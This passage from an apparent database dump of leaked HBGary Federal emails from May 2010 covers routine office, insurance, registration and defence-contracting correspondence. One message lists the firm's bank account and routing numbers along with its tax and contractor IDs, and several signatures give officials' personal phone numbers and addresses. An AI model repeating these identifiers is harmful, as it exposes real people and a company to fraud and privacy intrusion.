Saturday, May 15, 2010 7:18 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: I guess You are teh one to Follow G-Man\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nU see it?\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 15, 2010, at 9:13 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://blog.damballa.com/?p=711\r\n\r\n \r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on the taxpayer.  (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n \r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for   delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11197,'aaron_hbgary_com/11197.html'),(6362,'2010-05-15','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004545.M245363P14101Q1217.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Used cubicles','Begin forwarded message:From: Ted Vera &lt;tedvera@me.com&gt;Date: May 15, 2010 2:48:28 PM MDTTo: Mark Trynor &lt;mark@hbgary.com&gt;Subject: Used cubiclesI picked up some used cubicles for 250. They are 12 x8, grey with black cabinets.These will be good workstations for the two of us, and help partition the space.The guy I bought them from is going to help deliver and install.Gonna order two of those 10\' workbenches for the lab area, I can\'t find any used ones locally.What do you think?',3302,'aaron_hbgary_com/3302.html'),(6363,'2010-05-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004545.M516793P14101Q1218.eml','\"Ted Vera\" <tedvera@me.com>','Re: Used cubicles','Nice.Sent from my iPadOn May 15, 2010, at 4:49 PM, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nBegin forwarded message:From: Ted Vera &lt;tedvera@me.com&gt;\r\nDate: May 15, 2010 2:48:28 PM MDTTo: Mark Trynor &lt;mark@hbgary.com&gt;Subject: Used cubicles\r\nI picked up some used cubicles for 250. They are 12 x8, grey with black cabinets.These will be good workstations for the two of us, and help partition the space.\r\nThe guy I bought them from is going to help deliver and install.Gonna order two of those 10&#39; workbenches for the lab area, I can&#39;t find any used ones locally.\r\nWhat do you think?&lt;photo.jpg&gt;\r\n\r\n',189,'aaron_hbgary_com/189.html'),(6364,'2010-05-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004545.M737687P14101Q1219.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Policy Quote - HBGary Federal LLC','Here&#39;s one quote. I have a few more on the way. Begin forwarded message:From: &quot;Robin R. Gottschalk&quot; &lt;robin@techinsurance.com&gt;\r\nDate: May 16, 2010 10:06:32 AM MDTTo: &lt;ted@hbgary.com&gt;Subject: Policy Quote - HBGary Federal LLC\r\n\r\n\r\n\r\n\r\n\r\n Hello Ted, RE: HBGary Federal LLCClient ID: 191669 \r\nThank you for using TechInsurance. After reviewing the quotes provided below, if you have any questions or need to start coverage please call me or simply reply to this email noting the option you want started.\r\nRobin R. Gottschalk (800)668-7020Proposal Summary of Coverage: (Please scroll down the entire email as each coverage has its own quote to allow you to choose the coverage you want.)\r\n\r\n\r\n\r\n\r\nGeneral Liability\r\n\r\n\r\nProfessional Liability (Errors &amp; Omissions)Premium Summary\r\nThe premiums below are pending final underwriting approval.\r\n\r\n\r\n\r\nCommercial General Liability http://www.techinsurance.com/ce_generalLiab.aspx\r\n\r\ntop\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGeneral Liability coverage is the most basic type of commercial insurance and is limited to liability claims of bodily injury or property damage.Coverage is provided for accidents on your premises or at your customer&#39;s location or in public during business related activities.\r\n\r\n\r\n\r\n\r\nGeneral Liability and Property Quote: Insurer Quoted: The Hartford Insurance Company; AM Best Rating of A (Excellent); Size XVCoverage Amount -\r\n\r\n\r\n\r\n\r\n$1,000,000\r\n\r\nGeneral Liability per Occurrence\r\n\r\n\r\n$2,000,000\r\n\r\nGeneral Liability Annual Aggregate\r\n\r\n\r\n$1,000,000\r\n\r\nPersonal &amp; Advertising Injury per Occurrence\r\n\r\n\r\n$2,000,000\r\n\r\nProducts Completed Operations Aggregate \r\n\r\n\r\n$1,000,000\r\n\r\nFire Damage Legal \r\n\r\n\r\n$10,000\r\n\r\nMedicalProperty Coverage: (http://www.techinsurance.com/ce_property.aspx)\r\nThis coverage protects your business assets in the event of theft, fire, etc. and is included in the quote. \r\n\r\n\r\n\r\n103 South Wahsatch\r\n\r\n\r\n$50,000\r\n\r\nBusiness Property\r\n\r\n\r\n$50,000\r\n\r\nBusiness Computer &amp; Media *\r\n\r\n\r\n$5,000\r\n\r\nLaptop Computer - World-Wide **You have requested $10,000 in computer coverage. A package endorsement has been added to provide this coverage for the optimal price/value. To see a summary of all property coverage, including computers and media, visit (http://www.techinsurance.com/quote/coverages/TECHX.pdf) \r\n\r\n\r\n\r\n\r\n\r\n$2,500\r\n\r\nProperty Claim Deductible$521.00 Annual Premium\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nProfessional Liability (Errors &amp; Omissions) http://www.techinsurance.com/ProfessionalLiabilityInsurance_2.aspx\r\n\r\ntop\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nProfessional liability coverage protects you against loss from a claim of alleged negligent acts, errors or omissions in the performance of your professional services.\r\n\r\n\r\n\r\n\r\nProfessional Liability (Errors and Omissions) Quote: (Option 1) (indication)Insurer Quoted: ACE American Insurance; AM Best Rating of A+ (Superior); Size XV Learn more and view a sample policy\r\nCoverage Amount -\r\n\r\n\r\n\r\n\r\n$1,000,000\r\n\r\nPer Occurrence\r\n\r\n\r\n$1,000,000\r\n\r\nAnnual Aggregate\r\n\r\n\r\n\r\n\r\n$2,500\r\n\r\nDeductible$1,800.00 Annual Premium\r\n\r\nNegligent acts, errors or omissions in the delivery of IT services\r\nFailure to prevent denial of service, unauthorized access or use, introduction of malicious code \r\nDuty to defend against all actions brought against you which are, judging by the allegations, potentially within coverage of the policy\r\nDoes NOT include intellectual property liability coverage. (Ask your representative for more information)Please note: In some states up to 10% penalty may apply for mid-term cancellation.\r\nBilling: Full payment in advance or premium financing payment options.\r\n\r\n\r\n\r\nProfessional Liability (Errors and Omissions) Quote: (Option 2)Insurer Quoted: Philadelphia Insurance; AM Best Rating of A+ (Superior); Size XIV Learn more and view a sample policy\r\nCoverage Amount -\r\n\r\n\r\n\r\n\r\n$1,000,000\r\n\r\nPer Occurrence\r\n\r\n\r\n$1,000,000\r\n\r\nAnnual Aggregate\r\n\r\n\r\n\r\n\r\n$2,500\r\n\r\nDeductible$1,922.00 Annual Premium\r\n\r\nNegligent acts, errors or omissions in the delivery of IT services\r\nFailure to prevent denial of service, unauthorized access or use, introduction of malicious code \r\nDuty to defend against all actions brought against you which are, judging by the allegations, potentially within coverage of the policy\r\nLegal defense costs in addition to the limit of liability. (Coverage is not reduced by legal defense costs.)\r\nExtends your professional services coverage to independent contractors working under contract on your behalf.\r\nPersonal injury - libel, slander, product or service disparagement\r\nDoes NOT include intellectual property liability coverage. (Ask your representative for more information)Billing: Philadelphia Insurance will invoice in full 2 to 4 weeks after coverage has been started.\r\n\r\n\r\n\r\n\r\nProfessional Liability (Errors and Omissions) Quote: (Option 3)Insurer Quoted: The Hartford Insurance Company; AM Best Rating of A (Excellent); Size XV Learn more and view a sample policy\r\nCoverage Amount -\r\n\r\n\r\n\r\n\r\n$1,000,000\r\n\r\nPer Occurrence\r\n\r\n\r\n$1,000,000\r\n\r\nAnnual Aggregate\r\n\r\n\r\n\r\n\r\n$2,500\r\n\r\nDeductible$3,293.00 Annual Premium\r\n\r\nNegligent acts, errors or omissions in the delivery of IT services\r\nFailure to prevent denial of service, unauthorized access or use, introduction of malicious code \r\nDuty to defend against all actions brought against you which are, judging by the allegations, potentially within coverage of the policy\r\nExtends your professional services coverage to independent contractors working under contract on your behalf.\r\nContractual Liability and Breach of Warranties and Representations coverage (excluded under many E&amp;O policies)\r\nFailure to prevent identity theft or disclosure of personally identifiable information stored in electronic format\r\nFailure of the technology services to perform as intended\r\nWhen combined with General Liability from The Hartford there is reduced potential for disputes about where coverage applies; the Hartford General Liability and Professional Liability policies were designed in conjunction with each other to ensure there are no unintended gaps in coverage\r\nStaffing liability included for IT recruiting and placement services\r\nDoes NOT include intellectual property liability coverage. (Ask your representative for more information)Please note: In some states up to 10% penalty may apply for mid-term cancellation.\r\nBilling: Installment payments are available with other Hartford policies.\r\n\r\n\r\n\r\nRetroactive Coverage:Your current policy has a Retroactive Date, which reflects the date when your coverage begins for any prior services provided by your company. When moving from one carrier to another it is very important that we try keeping that date the same as the expiring policy, so you do not lose coverage for prior services. The new carrier will only agree to maintain that date if they receive a copy of the Declaration Page of your current policy showing the Retroactive Date. This must be a copy of the actual policy and not a copy of your Accord Certificate of Insurance. Please forward a copy of the Declaration Page along with the other requirements.\r\nClaims Made Notice:All Errors and Omissions policies quoted are issued on a &quot;Claims Made&quot; basis. This means that coverage is only provided for work that is done while the policy is in force and for claims that are filed while the policy is in force.\r\nStarting Errors and Omissions Coverage:The Errors and Omissions carriers require that the application you completed at our site be signed and returned prior to starting coverage. Please advise if you would like us to email the completed application as a PDF (Adobe Acrobat) document for your review and signature.\r\nIn most cases, the Errors and Omissions premium payment is due prior to starting coverage.\r\n\r\n\r\n\r\nBilling Options\r\n\r\nIn most cases the insurance company will bill you directly for any General Liability, Worker&#39;s Compensation, Umbrella, and Fidelity policies purchased.  They will invoice you two to three weeks after coverage is started.\r\nThe Errors and Omissions policy must be paid in full prior to starting coverageIf you have any questions or concerns, feel free to contact me.\r\nThanks,Robin R. GottschalkIf you have any questions or are ready to start coverage please call me at (800)668-7020.\r\nWe value your opinion. Am I providing Excellent Customer Service? Please provide your feedback on my service by e-mailing Jim Cochran at jim@techinsurance.com\r\nThank you for your time and business!\r\n\r\n\r\n\r\nDISCLOSURE PURSUANT TO TERRORISM RISK INSURANCE ACT\r\n\r\nIn accordance with the Terrorism Risk Insurance Act, we are required to offer you coverage for terrorist acts certified under the Act. However, the coverage available under our policies for certified acts of terrorism is limited by the terms, conditions, exclusions, limits, other provisions of the coverage quote to which this offer is attached and by the policy, any endorsements to the policy and generally applicable rules of law. The United States Government, Department of the Treasury, will pay a share of terrorism losses insured under the federal program. For losses occurring in 2006, the federal share equals 90% of that portion of the amount of such insured losses that exceeds the applicable insurer retention. For losses occurring in 2007, the federal share equals 85% of that portion of the amount of such insured losses that exceeds the applicable insurer retention.\r\nIf you decide to purchase this policy, the premium allocated to pay for terrorism coverage is $10.00\r\n\r\nCOMPENSATION DISCLOSURE NOTICE\r\n\r\nFeesTechinsurance does not charge you any fees for placing your policy, except, when quoted, a fee for the filing of surplus lines taxes.CommissionWe are compensated on a commission basis by the insurance company that writes your insurance. This commission percentage is set by the company, not by us, and is included as a part of the insurance premium you pay.\r\nAdditional CompensationWe may also be eligible to receive various forms of incentive compensation, including contingent commissions and other awards and bonuses. This incentive compensation is based upon a variety of factors that may include the volume, growth, profitability, and retention of business we place or other performance measures established by the individual insurers with whom we do business.\r\n\r\n\r\nLEGAL\r\n\r\nThe above coverage descriptions and premium amounts are furnished for your convenience. It only summarizes the listed proposed policy(ies) and is not intended to reflect all the terms and conditions or exclusions of such proposed policy(ies). This document is not an insurance policy and does not amend, alter or extend the coverage afforded by the listed proposed policy(ies). The insurance afforded by the listed proposed policy(ies) is subject to all the terms, exclusions and conditions of such proposed policy(ies).\r\n\r\n \r\nTechinsurance1301 Central Expy South, Suite 115Allen, TX  75013\r\nwww.techinsurance.comemail: Robin@Techinsurance.com\r\noffice: (972)390-0025toll free: (800)668-7020fax: (972)390-8484\r\ngeneral office hours: 8:00am-5:30pm Central&lt;Detailed_GL.pdf&gt;\r\n',16671,'aaron_hbgary_com/16671.html'),(6365,'2010-05-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004545.M993637P14101Q1220.eml','\"Barr Aaron\" <aaron@hbgary.com>','Business registration','Now I see why we didn\'t show up in the CA business search. Penny put\r\nour name as HB Gary Federal (with a space between HB and Gary). That\r\nshows as registered since December.\r\n\r\nNo big deal I think we can omit the space and use he entity code as is.\r\n\r\nTed\r\n',10076,'aaron_hbgary_com/10076.html'),(6366,'2010-05-17','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004546.M435573P14101Q1221.eml','\"Purdy, Frank\" <fpurdy@logostech.net>,\"Sullivan, Shaun, CTR, OSD-ATL\" <Shaun.Sullivan.ctr@osd.mil>,\"Looney, Harry, CTR, OSD-ATL\" <Harry.Looney.ctr@osd.mil>,\"Moore, Thomas, Mr, OSD-ATL\" <Thomas.Moore@osd.mil>,\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,\"Leibner, Lincoln D LTC MIL USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Aaron Barr\" <aaron@hbgary.com>','Open Source Center briefing','\r\n\r\n\r\n\r\n\r\nOpen Source Center briefing\r\n\r\n\r\n\r\n\r\nPeople from the CIA&#8217;s Open Source Center are available to give us a capabilities briefing on their social media work on July 21.&nbsp; Are you all free?&nbsp; Can you suggest anyone else who might want to come?\r\n\r\n--Irv&nbsp; \r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:&nbsp; (703) 746-1226\r\n\r\nCell:&nbsp; (202) 556-0591\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16458,'aaron_hbgary_com/16458.html'),(6367,'2010-05-17','\"Purdy, Frank\" <fpurdy@logostech.net>','/aaron@hbgary.com/new/1297004546.M642940P14101Q1222.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,\"Sullivan, Shaun, CTR, OSD-ATL\" <Shaun.Sullivan.ctr@osd.mil>,\"Looney, Harry, CTR, OSD-ATL\" <Harry.Looney.ctr@osd.mil>,\"Moore, Thomas, Mr, OSD-ATL\" <Thomas.Moore@osd.mil>,\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,\"Leibner, Lincoln D LTC MIL USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Open Source Center briefing','\r\n\r\n\r\n\r\n\r\nOpen Source Center briefing\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI am available &nbsp;all day after 10am.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving Mr\r\nOSD ATL [mailto:Irving.Lachow@osd.mil] \r\nSent: Monday, May 17, 2010 8:38 AM\r\nTo: Purdy, Frank; Sullivan, Shaun, CTR, OSD-ATL; Looney, Harry, CTR,\r\nOSD-ATL; Moore, Thomas, Mr, OSD-ATL; Hibbeln, Brian, Mr, OSD-ATL; Leibner,\r\nLincoln D LTC MIL USA DCS G-3/5/7; \'Aaron Barr\'\r\nSubject: Open Source Center briefing\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPeople from the CIA&#8217;s Open\r\nSource Center are available to give us a capabilities briefing on their social media work on July 21.&nbsp; Are you all\r\nfree?&nbsp; Can you\r\nsuggest anyone else who might want to come?\r\n\r\n--Irv&nbsp; \r\n\r\nIrving\r\nLachow, Ph.D.\r\n\r\nDirector,\r\nCyber Programs\r\n\r\nSpecial\r\nCapabilities Office\r\n\r\nNIPR:\r\nirving.lachow@osd.mil\r\n\r\nSIPR:\r\nirving.lachow@osd.smil.mil\r\n\r\nJWICS:\r\nirving.lachow@osdj.ic.gov\r\n\r\nOffice:&nbsp;\r\n(703) 746-1226\r\n\r\nCell:&nbsp;\r\n(202) 556-0591\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1099,'aaron_hbgary_com/1099.html'),(6368,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004546.M863647P14101Q1223.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,,,,,','Re: Open Source Center briefing','I can make it.From my iPhoneOn May 17, 2010, at 8:38 AM, &quot;Lachow, Irving Mr OSD ATL&quot; &lt;Irving.Lachow@osd.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\nPeople from the CIA’s Open Source Center are available to give us a capabilities briefing on their social media work on July 21.  Are you all free?  Can you suggest anyone else who might want to come?\r\n\r\n\r\n--Irv  \r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:  (703) 746-1226\r\n\r\nCell:  (202) 556-0591\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3754,'aaron_hbgary_com/3754.html'),(6369,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004547.M340512P14101Q1225.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Blog post on APT is up','Podcast.  I haven&#39;t heard back from SecDev on podcast.  I am starting to feel like the interest just isn&#39;t there.AaronSent from my iPad\r\nOn May 17, 2010, at 9:57 AM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Greg, Just wanted to let you know that your blog post got retweeted 5x, including by Josh Corman who thanked you for supporting his research note. The post is still getting clicks today. I think we could repackage it as an opinion piece for a publication. I can pull it together. Best, Karen   \r\n--- On Fri, 5/14/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Blog post on APT is upTo: &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;, &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Friday, May 14, 2010, 1:20 PM\r\n\r\n \r\nPenny, Karen, Aaron,\r\n \r\nI posted the APT blog post and linked it from hbgary main page - its also on fasthorizon.\r\n \r\nThanks for your help writing this !!!\r\n \r\n-Greg\r\n\r\n      \r\n',9716,'aaron_hbgary_com/9716.html'),(6370,'2010-05-17','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004547.M644596P14101Q1226.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Computer Rack Server Cage/Cabinett','We can have it if we haul it away.&nbsp;Begin forwarded message:From: Ted Vera &lt;tedvera@me.com&gt;Date: May 16, 2010 10:02:42 PM MDTTo: Mark Trynor &lt;mark@hbgary.com&gt;Subject: Computer Rack Server Cage/Cabinetthttp://denver.craigslist.org/sys/1740353954.htmlFreee!\r\n',14742,'aaron_hbgary_com/14742.html'),(6371,'2010-05-17','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297004547.M77687P14101Q1224.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Blog post on APT is up','Hi Greg, Just wanted to let you know that your blog post got retweeted 5x, including by Josh Corman who thanked you for supporting his research note.&nbsp;The post&nbsp;is still getting clicks today. I think we could repackage it as an opinion piece for&nbsp;a publication. I can pull it together. Best, Karen&nbsp;&nbsp;&nbsp;--- On Fri, 5/14/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Blog post on APT is upTo: \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, May 14, 2010, 1:20 PM\r\n\r\n&nbsp;\r\nPenny, Karen, Aaron,\r\n&nbsp;\r\nI posted the APT blog post and linked it from hbgary main page - its also on fasthorizon.\r\n&nbsp;\r\nThanks for your help writing this !!!\r\n&nbsp;\r\n-Greg\r\n\r\n',15619,'aaron_hbgary_com/15619.html'),(6372,'2010-05-17','\"DARPA-BAA-10-36\" <DARPA-BAA-10-36@darpa.mil>','/aaron@hbgary.com/new/1297004550.M838710P14101Q1227.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Cyber Genome Proposal De-Brief','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Mr. Barr,\r\n\r\n&nbsp;\r\n\r\nAn informal feedback sessions regarding your proposal to\r\nDARPA BAA 10-36 has been scheduled on 29 June 2010 at 1045L. The location\r\nis the System Planning Corporation (SPC) in Arlington VA (see attached\r\ndirection sheet).&nbsp; Please plan on the de-brief lasting no longer than 15\r\nminutes and limit the number of participants to four (4) people or less.\r\n\r\n&nbsp;\r\n\r\nUpon arrival to the SPC building, please proceed to the\r\n5th floor and check in at the visitors desk, where you will receive your\r\nVisitors Badge. From here you will be escorted to your meeting.&nbsp; At this time,\r\n29 June 2010 will be the only date offered for BAA 10-36 informal out-briefs.\r\n\r\n&nbsp;\r\n\r\nPlease RSVP soonest to DARPA-BAA-10-36@darpa.mil with who\r\nwill be attending from your company.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf you have any questions/concerns, please contact my\r\nProgram SETA for this effort, Matthew King at DARPA-BAA-10-36@darpa.mil\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n&nbsp;\r\n\r\nMichael VanPutte, Ph.D. \r\n\r\nProgram Manager \r\n\r\nDefense Advanced Research Projects Agency\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1013,'aaron_hbgary_com/1013.html'),(6373,'2010-05-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004551.M111721P14101Q1228.eml','\"Barr Aaron\" <aaron@hbgary.com>','Company Info','DUNS:  832950831\r\nCage Code:  5U1U6\r\nTIN/EIN:  271485507\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11732,'aaron_hbgary_com/11732.html'),(6374,'2010-05-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004551.M403414P14101Q1229.eml','\"Barr Aaron\" <aaron@hbgary.com>','EFT','Wells Fargo Bank\r\nHBGary Federal\r\nThe acct # is 3803053804\r\nThe routing # is 121042882\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3438,'aaron_hbgary_com/3438.html'),(6375,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004552.M894597P14101Q1230.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Fwd: Cyber Genome Proposal De-Brief','Sent from my iPadBegin forwarded message:From: DARPA-BAA-10-36 &lt;DARPA-BAA-10-36@darpa.mil&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: DARPA-BAA-10-36 &lt;DARPA-BAA-10-36@darpa.mil&gt;Subject: Cyber Genome Proposal De-Brief\r\nDear Mr. Barr,An informal feedback sessions regarding your proposal to DARPA BAA 10-36 has been scheduled on 29 June 2010 at 1045L. The location is the System Planning Corporation (SPC) in Arlington VA (see attached direction sheet).  Please plan on the de-brief lasting no longer than 15 minutes and limit the number of participants to four (4) people or less.\r\nUpon arrival to the SPC building, please proceed to the 5th floor and check in at the visitors desk, where you will receive your Visitors Badge. From here you will be escorted to your meeting.  At this time, 29 June 2010 will be the only date offered for BAA 10-36 informal out-briefs.\r\nPlease RSVP soonest to DARPA-BAA-10-36@darpa.mil&lt;mailto:DARPA-BAA-10-36@darpa.mil&gt; with who will be attending from your company.\r\nIf you have any questions/concerns, please contact my Program SETA for this effort, Matthew King at DARPA-BAA-10-36@darpa.mil&lt;mailto:DARPA-BAA-10-36@darpa.mil&gt;\r\nMikeMichael VanPutte, Ph.D.Program Manager\r\nDefense Advanced Research Projects Agency\r\n',6379,'aaron_hbgary_com/6379.html'),(6376,'2010-05-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004554.M159507P14101Q1231.eml','\"Barr Aaron\" <aaron@hbgary.com>','FORM 1','-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16146,'aaron_hbgary_com/16146.html'),(6377,'2010-05-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297004554.M411452P14101Q1232.eml','\"Aaron Barr\" <aaron@hbgary.com>','Talk on Wednesday???','\r\n\r\n\r\n\r\n\r\nTalk on Wednesday???\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nSorry.&nbsp; I am unburied now.&nbsp; Down in San Antonio today and tomorrow.&nbsp; Meeting with the 950th and 67th tomorrow.&nbsp; Got Cyber Threat on the agenda to discuss.&nbsp; Are you available on Wednesday to catch up?\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',4017,'aaron_hbgary_com/4017.html'),(6378,'2010-05-17','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004560.M266051P14101Q1234.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Blog post on APT is up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThat would be great.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karenmaryburke@yahoo.com] \r\nSent: Monday, May 17, 2010 6:58 AM\r\nTo: Penny C. Hoglund; Aaron Barr; Greg Hoglund\r\nSubject: Re: Blog post on APT is up\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Hi Greg, Just wanted to let you know that your blog post\r\n  got retweeted 5x, including by Josh Corman who thanked you for supporting his\r\n  research note.&nbsp;The post&nbsp;is still getting clicks today. I think we\r\n  could repackage it as an opinion piece for&nbsp;a publication. I can pull it\r\n  together. Best, Karen&nbsp;&nbsp;&nbsp;\r\n  \r\n  --- On Fri, 5/14/10, Greg Hoglund &lt;greg@hbgary.com&gt;\r\n  wrote:\r\n  \r\n  From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n  Subject: Blog post on APT is up\r\n  To: &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;, &quot;Aaron\r\n  Barr&quot; &lt;aaron@hbgary.com&gt;, &quot;Karen Burke&quot;\r\n  &lt;karenmaryburke@yahoo.com&gt;\r\n  Date: Friday, May 14, 2010, 1:20 PM\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Penny, Karen, Aaron,\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  I posted the APT blog post and linked it from hbgary main\r\n  page - its also on fasthorizon.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Thanks for your help writing this !!!\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  -Greg\r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8608,'aaron_hbgary_com/8608.html'),(6379,'2010-05-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004560.M42937P14101Q1233.eml','\"Barr Aaron\" <aaron@hbgary.com>','FORM 2','-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11044,'aaron_hbgary_com/11044.html'),(6380,'2010-05-17','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004560.M493144P14101Q1235.eml','aaron@hbgary.com','May 18-19 C4I Conference - Gratis Online Streams','As part of the AFCEA SOLUTIONS Series - George Mason University C4I Symposium on May 18-19, 2010 AFCEA will be broadcasting both tracks as well as the plenary sessions live online for free.\r\n\r\nYou can sign up now to attend or join just before the sessions start time by visiting the online broadcast page here:\r\n\r\nhttp://www.afcea.org/events/gmuc4i/broadcasts.asp\r\n\r\nOf course if you prefer to attend the conference in person you will be able to register onsite beginning at 8am both 